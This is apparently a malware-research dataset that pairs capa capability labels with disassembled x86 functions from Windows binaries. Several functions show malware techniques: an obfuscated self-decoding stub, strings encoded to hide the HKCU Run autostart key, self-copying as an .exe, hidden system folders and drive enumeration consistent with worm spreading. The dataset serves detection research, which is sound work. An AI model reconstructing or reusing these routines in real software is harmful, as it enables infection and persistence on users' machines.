joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10069110
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
cmp ebx, 0x3c
jae 0x1006915a
mov ecx, dword [ebp + 0x10]
or ecx, ecx
je 0x10069156
test byte [ebx + 0x1008b008], 0x10
jne 0x1006916b
mov edx, dword [ebp + 0xc]
push ecx
push edx
push 0
lea eax, [ebp - 8]
push eax
push ecx
push edx
push dword [ebx*4 + 0x1008b044]
call sub.KERNEL32.DLL_ReadFile
pop edx
pop ecx
or eax, eax
je 0x1006915a
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x10069151
push 9
call fcn.10068444
mov eax, 0xffffffff
jmp 0x10069151
push esi
push edi
mov edi, dword [ebp + 0xc]
and byte [ebx + 0x1008b008], 0xfe
cld
push ds
pop es
mov edx, edi
push ecx
push edx
push 0
lea eax, [ebp - 8]
push eax
push ecx
push edx
push dword [ebx*4 + 0x1008b044]
call sub.KERNEL32.DLL_ReadFile
pop edx
pop ecx
or eax, eax
je 0x10069249
mov eax, dword [ebp - 8]
add edx, eax
cmp eax, ecx
je 0x100691ae
or byte [ebx + 0x1008b008], 1
mov ecx, eax
or ecx, ecx
je 0x100692f0
push edi
mov al, 0x1a
repne scasb al, byte es:[edi]
je 0x10069218
pop edi
mov ecx, edx
sub ecx, edi
mov al, 0xd
xor esi, esi
repne scasb al, byte es:[edi]
jne 0x100692f0
cmp edi, edx
jae 0x1006925d
cmp byte [edi], 0xa
jne 0x100691c6
mov esi, edi
mov dword [ebp - 4], edi
dec dword [ebp - 4]
mov ecx, edx
sub ecx, edi
mov al, 0xd
repne scasb al, byte es:[edi]
jne 0x100692ba
cmp edi, edx
jae 0x1006925d
cmp byte [edi], 0xa
jne 0x100691e9
mov ecx, edi
dec ecx
sub ecx, esi
mov eax, edi
mov edi, dword [ebp - 4]
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 4], edi
mov edi, eax
inc esi
jmp 0x100691e3
dec edi
test byte [ebx + 0x1008b008], 8
jne 0x1006923b
sub edx, edi
push 1
push 0
push edx
push dword [ebx*4 + 0x1008b044]
call sub.KERNEL32.DLL_SetFilePointer
cmp ax, 0xffff
je 0x10069249
or byte [ebx + 0x1008b008], 1
mov edx, edi
jmp 0x100691bd
push 9
call fcn.10068444
mov eax, 0xffffffff
jmp 0x100692f5
test byte [ebx + 0x1008b008], 1
jne 0x100692ba
dec edx
mov ecx, 1
push ecx
push edx
push 0
lea eax, [ebp - 8]
push eax
push ecx
push edx
push dword [ebx*4 + 0x1008b044]
call sub.KERNEL32.DLL_ReadFile
pop edx
pop ecx
or eax, eax
je 0x10069249
mov eax, dword [ebp - 8]
or eax, eax
je 0x100692b3
cmp byte [edi - 1], 0xa
je 0x100692ba
mov byte [edi - 1], 0xd
push 1
push 0
push 0xffffffffffffffff
push dword [ebx*4 + 0x1008b044]
call sub.KERNEL32.DLL_SetFilePointer
cmp ax, 0xffff
je 0x10069249
jmp 0x100692ba
or byte [ebx + 0x1008b008], 1
cmp esi, 0
je 0x100692f0
mov ecx, edi
sub ecx, esi
mov edi, dword [ebp - 4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test byte [ebx + 0x1008b008], 8
jne 0x100692f0
mov ecx, esi
sub ecx, edi
je 0x100692f0
test byte [ebx + 0x1008b008], 1
je 0x1006917a
mov eax, edi
sub eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x31c68435
add eax, 0xce79ba24
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x6b566d0f
add dword [ebp - 0x5c], 0xe2fbd83c
mov dword [ebp - 0x58], 0xc8f69146
sub dword [ebp - 0x58], 0x96c34501
mov dword [ebp - 0x54], 0x9aaa8cc6
sub dword [ebp - 0x54], 0x4e5e4898
mov dword [ebp - 0x50], 0xd611ac5b
add dword [ebp - 0x50], 0x29ee53a5
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x71b65bf6
sub dword [ebp - 0x5c], 0xfd43f2a0
mov dword [ebp - 0x58], 0xdab39265
add dword [ebp - 0x58], 0x66b8cf10
mov dword [ebp - 0x54], 0x390a3849
sub dword [ebp - 0x54], 0xd59acbdd
mov dword [ebp - 0x50], 0x7c5df80a
sub dword [ebp - 0x50], 0x7c5df80a
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x39b51
push 0
call eax
mov ecx, 0x37d8a308
add ecx, 0xc827b0cf
mov esi, eax
mov edx, 0xe140efce
add edx, 0x1f001032
add edx, dword [ebp - 0x4c]
mov edi, 0x55136a45
add edi, 0x72b1613d
sub dword [ebp - 8], 0x9be0b10e
mov ebx, dword [edx]
xor dword [ebp - 8], edx
sub ebx, edi
sub dword [ebp - 0x1c], 0x8c37497d
mov dword [esi], ebx
sub dword [ebp - 0x44], eax
add esi, 0x956ad487
add esi, 0x6a952b7d
add edx, 0x296f9c17
add edx, 0xd69063ed
loop 0x403f71
add eax, 0xadc5d9ed
sub eax, 0xadc497be
xor ebx, ebx
add ebx, eax
add eax, 0x998f8c77
add eax, 0x6670738e
mov ecx, 0x6bb32a1
sub ecx, 0x67b32a1
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x66c
push ebx
push esi
push edi
xor esi, esi
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0x26a]
mov word [esp + 0x268], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x62]
mov word [esp + 0x60], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x60]
push 0x103
push eax
push esi
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x60]
push 0x2e
push ecx
call fcn.00403adf
add esp, 8
cmp eax, esi
je 0x401062
mov word [eax], si
lea edx, [esp + 0x60]
push edx
call fcn.00401240
add esp, 4
test eax, eax
je 0x401135
lea eax, [esp + 0x268]
push 0x102
push eax
mov ebx, 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 0x268]
push str.expl
push ecx
call fcn.00403a90
add esp, 8
lea edx, [esp + 0x268]
push str.orer.exe
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x60]
lea ecx, [esp + 0x268]
push eax
push ecx
call fcn.00403a90
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x24]
add esp, 8
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], edx
lea ecx, [esp + 0x1c]
push eax
mov dword [esp + 0x14], edx
push ecx
push esi
mov dword [esp + 0x20], edx
push esi
push esi
mov dword [esp + 0x2c], edx
push esi
push esi
lea edx, [esp + 0x284]
push esi
push edx
push esi
mov dword [esp + 0x44], 0x44
mov word [esp + 0x74], 5
mov dword [esp + 0x70], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401135
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x66c
ret

Function at 0x401220
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x401240
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x401260
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
lea eax, [esp]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [esp + 0x20c]
lea edx, [esp]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 2
push 0
push 0
lea eax, [esp + 0x14]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0x208
ret
Function at 0x401350
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40137c
pop edi
xor eax, eax
pop esi
pop ecx
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
neg ecx
sbb ecx, ecx
push 0
add ecx, 2
push 0
push ecx
push 0
push 1
push 0xc0000000
push edx
mov dword [esp + 0x2c], eax
call edi
mov edi, eax
cmp edi, 0xffffffff
jne 0x4013bd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
push ebx
push ebp
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
mov ebx, eax
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, eax
call ebx
push esi
call ebx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x10]
push 0
push eax
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
pop ecx
ret
Function at 0x401450
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x730
mov ecx, 0x15
xor eax, eax
xor edx, edx
push esi
push edi
mov esi, str.GJDXBTQQDMSTRDQ_Rnesv_qd_Lhbqnrnes_Vhmcnvr_BtqqdmsUdqrhnm_Qtm_f_t_rl_w3omo_
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x6a
lea edi, [esp + 0x7b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4014a8
mov al, byte [esp + edx + 0x24]
lea edi, [esp + 0x24]
inc al
or ecx, 0xffffffff
mov byte [esp + edx + 0x24], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x40148b
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x226]
mov word [esp + 0x224], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 6
mov esi, 0x40b08c
lea edi, [esp + 0xc]
lea eax, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push eax
xor edi, edi
call fcn.00403cc3
add esp, 4
test eax, eax
jbe 0x401503
lea esi, [esp + 0xc]
inc word [esi]
lea ecx, [esp + 0xc]
push ecx
inc edi
add esi, 2
call fcn.00403cc3
add esp, 4
cmp edi, eax
jb 0x4014eb
lea edx, [esp + 0xc]
push ebx
lea eax, [esp + 0x534]
push edx
push eax
call fcn.00403aba
add esp, 8
lea ecx, [esp + 0x430]
push 0x103
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x430]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x28]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40b088
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x228]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x228]
push str.ppxxxx
push ecx
call edi
push 0
push 0
push 2
push 0
push 1
lea edx, [esp + 0x23c]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
pop ebx
cmp esi, 0xffffffff
je 0x4015fd
lea eax, [esp + 8]
push 0
lea ecx, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x2c]
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x224]
lea ecx, [esp + 0x530]
push eax
push ecx
call edi
push 0xffffffffffffffff
lea edx, [esp + 0x534]
push 0
push edx
call fcn.004017a0
add esp, 0xc
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
mov eax, 1
pop esi
add esp, 0x730
ret
Function at 0x401640
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x474
mov ecx, 0x11
xor eax, eax
xor edx, edx
push esi
push edi
mov esi, str.GJDXKNB_KL_BGHMD_RNESV_QD_Bk_rrdr_dwdehkd_f_t_MdudqRgnvDws__
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40168a
mov cl, byte [esp + edx + 0x24]
lea edi, [esp + 0x24]
inc cl
xor eax, eax
mov byte [esp + edx + 0x24], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x40166d
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x6e]
mov word [esp + 0x6c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 6
mov esi, 0x40b08c
lea edi, [esp + 0xc]
lea eax, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push eax
xor edi, edi
call fcn.00403cc3
add esp, 4
test eax, eax
jbe 0x4016df
lea esi, [esp + 0xc]
inc word [esi]
lea ecx, [esp + 0xc]
push ecx
inc edi
add esi, 2
call fcn.00403cc3
add esp, 4
cmp edi, eax
jb 0x4016c7
lea edx, [esp + 0xc]
lea eax, [esp + 0x274]
push edx
push eax
call fcn.00403aba
add esp, 8
lea ecx, [esp + 0x6c]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp + 0x6c]
push str.ppxxxx
push edx
call edi
push 0
push 0
push 2
push 0
push 1
lea eax, [esp + 0x80]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401760
lea ecx, [esp + 8]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x274]
push ecx
push edx
call edi
push 0xffffffffffffffff
lea eax, [esp + 0x278]
push 0
push eax
call fcn.004017a0
add esp, 0xc
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
add esp, 0x474
ret

Function at 0x4017a0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
mov dword [esp + 8], eax
mov cx, word [esp + 0x64]
mov dword [esp + 0xc], eax
push edx
mov dword [esp + 0x14], eax
mov word [esp + 0x4c], cx
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x44
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
test esi, esi
je 0x40182d
cmp dword [esp + 0x68], 0xffffffff
jne 0x401819
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret
Function at 0x401840
Capabilities:
Get disk information

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
mov cl, byte [0x40b146]
mov ebp, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [0x40b144]
xor edi, edi
mov dword [esp + 0x18], 0xff
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov word [esp + 0x10], ax
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0
mov dword [esp + 0x14], 2
mov esi, 0x40ea9d
mov dl, byte [esp + 0x14]
lea eax, [esp + 0x10]
add dl, 0x41
push eax
mov byte [esp + 0x14], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov bl, al
cmp bl, 1
jne 0x4018d8
mov byte [esi], 0
jmp 0x401989
lea ecx, [esp + 0x24]
push 0x1f
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
lea edx, [esp + 0x58]
push 0x7f
lea eax, [esp + 0x28]
push edx
push eax
mov byte [esp + 0x32], 0x5c
mov byte [esp + 0x33], 0
call ebp
cmp eax, edi
mov byte [esp + 0x12], 0
jne 0x401914
mov byte [esi], 0
jmp 0x401989
cmp dword [0x40b030], edi
je 0x401930
cmp bl, 2
jne 0x401989
lea ecx, [esp + 0x10]
push ecx
call fcn.004019c0
add esp, 4
jmp 0x401989
mov al, byte [esi - 1]
mov byte [esi - 1], bl
cmp al, bl
jne 0x40193f
cmp byte [esi], 0x63
je 0x401989
cmp bl, 2
jne 0x401960
lea edx, [esp + 0x10]
mov byte [esi], 1
push edx
call fcn.004019c0
add esp, 4
neg eax
sbb al, al
and al, 0x64
dec al
mov byte [esi], al
jmp 0x401989
cmp bl, 3
jne 0x401974
lea eax, [esp + 0x10]
mov byte [esi], 1
push eax
call fcn.00401a10
jmp 0x401983
cmp bl, 4
jne 0x401989
lea ecx, [esp + 0x10]
push ecx
call fcn.00401a30
add esp, 4
mov byte [esi], 0x63
mov edx, dword [esp + 0x14]
add esi, 0x42
inc edx
cmp esi, 0x40f0cd
mov dword [esp + 0x14], edx
jl 0x4018b3
mov dword [0x40b030], edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xb4
ret
Function at 0x402480
Capabilities:
Get hostname

Disassembly:
sub esp, 0x224
mov eax, dword [0x40b1f0]
mov cl, byte [0x40b1f4]
mov dword [esp], eax
xor eax, eax
xor edx, edx
mov dword [esp + 9], eax
mov word [esp + 5], dx
mov dword [esp + 0xd], eax
mov byte [esp + 4], cl
mov byte [esp + 7], dl
mov byte [esp + 8], dl
mov dword [esp + 0x11], eax
lea ecx, [esp + 0x18]
push esi
lea edx, [esp + 0xc]
mov word [esp + 0x19], ax
push ecx
push edx
mov dword [esp + 0x24], 0x10
mov byte [esp + 0x23], al
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0xc]
push eax
call fcn.00402450
lea ecx, [esp + 0x128]
mov esi, eax
push ecx
call fcn.00402560
add esp, 8
lea edx, [esp + 0x20]
lea eax, [esp + 0x124]
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov eax, dword [esp + 0x22c]
test eax, eax
jne 0x402529
lea ecx, [esp + 4]
lea edx, [esp + 0x20]
push ecx
push esi
push edx
push str._s_08X_s
jmp 0x40253e
cmp eax, 1
jne 0x40254c
lea eax, [esp + 4]
lea ecx, [esp + 0x20]
push eax
push esi
push ecx
push str._s_08X__s
push 0x40e1e0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov eax, 0x40e1e0
pop esi
add esp, 0x224
ret

Function at 0x402560
Capabilities:
Create directory
Get common file path

Disassembly:
sub esp, 0x10c
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov dl, byte [0x40b1fe]
rep stosd dword es:[edi], eax
mov cx, word [0x40b1fc]
mov byte [esp + 0xa], dl
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x40b1f8]
mov word [esp + 8], cx
mov dword [esp + 4], eax
lea edi, [esp + 4]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4025ca
mov al, byte [esp + edx + 4]
lea edi, [esp + 4]
inc al
or ecx, 0xffffffff
mov byte [esp + edx + 4], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4025ad
mov al, byte [0x40e2e4]
test al, al
je 0x4025f8
mov eax, dword [esp + 0x114]
push 0x103
push 0x40e2e4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, 1
pop edi
add esp, 0x10c
ret
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + 0x14]
push 0x103
push ecx
push 0x40e2e4
call esi
mov eax, dword [esp + 0x11c]
lea edx, [esp + 0x14]
push 0x103
push edx
push eax
call esi
pop esi
pop ebx
mov eax, 1
pop edi
add esp, 0x10c
ret
Function at 0x402680
Capabilities:
Create directory
Get common file path

Disassembly:
sub esp, 0x218
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x40b204]
mov edx, dword [0x40b208]
stosw word es:[edi], ax
mov eax, dword [str.Ldch__]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov ax, word [0x40b20c]
lea ecx, [esp + 8]
mov dword [esp + 0x10], edx
push ecx
mov word [esp + 0x18], ax
xor edi, edi
call fcn.00403cc3
add esp, 4
test eax, eax
jbe 0x4026f5
lea esi, [esp + 8]
inc word [esi]
lea edx, [esp + 8]
push edx
inc edi
add esi, 2
call fcn.00403cc3
add esp, 4
cmp edi, eax
jb 0x4026dd
cmp word [0x40e3e8], 0
je 0x402725
mov eax, dword [esp + 0x224]
push 0x103
push 0x40e3e8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
pop edi
mov eax, 1
pop esi
add esp, 0x218
ret
lea ecx, [esp + 0x18]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [esp + 8]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.00403a90
add esp, 8
lea ecx, [esp + 0x18]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea edx, [esp + 0x18]
push 0x103
push edx
push 0x40e3e8
call esi
mov ecx, dword [esp + 0x224]
lea eax, [esp + 0x18]
push 0x103
push eax
push ecx
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x218
ret

Function at 0x402790
Capabilities:
Create directory
Set file attributes

Disassembly:
sub esp, 0x1c
mov ecx, 6
lea eax, [esp]
push esi
push edi
mov esi, str.T9_QDBXBKDQ_
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
xor edi, edi
call fcn.00403cc3
add esp, 4
test eax, eax
jbe 0x4027d6
lea esi, [esp + 8]
inc word [esi]
lea ecx, [esp + 8]
push ecx
inc edi
add esi, 2
call fcn.00403cc3
add esp, 4
cmp edi, eax
jb 0x4027be
movsx dx, byte [esp + 0x28]
lea eax, [esp + 8]
push 0
push eax
mov word [esp + 0x10], dx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [esp + 8]
push 6
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [esp + 0x2c]
lea edx, [esp + 8]
push 0x103
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret

Function at 0x402820
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x410
lea eax, [esp + 0x208]
push esi
push 0x103
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [esp + 0x418]
lea ecx, [esp + 4]
push esi
push ecx
call fcn.00403aba
lea edx, [esp + 0xc]
push str..exe
push edx
call fcn.00403a90
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x220]
push eax
push ecx
call fcn.00401350
add esp, 0x1c
test eax, eax
je 0x402881
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop esi
add esp, 0x410
ret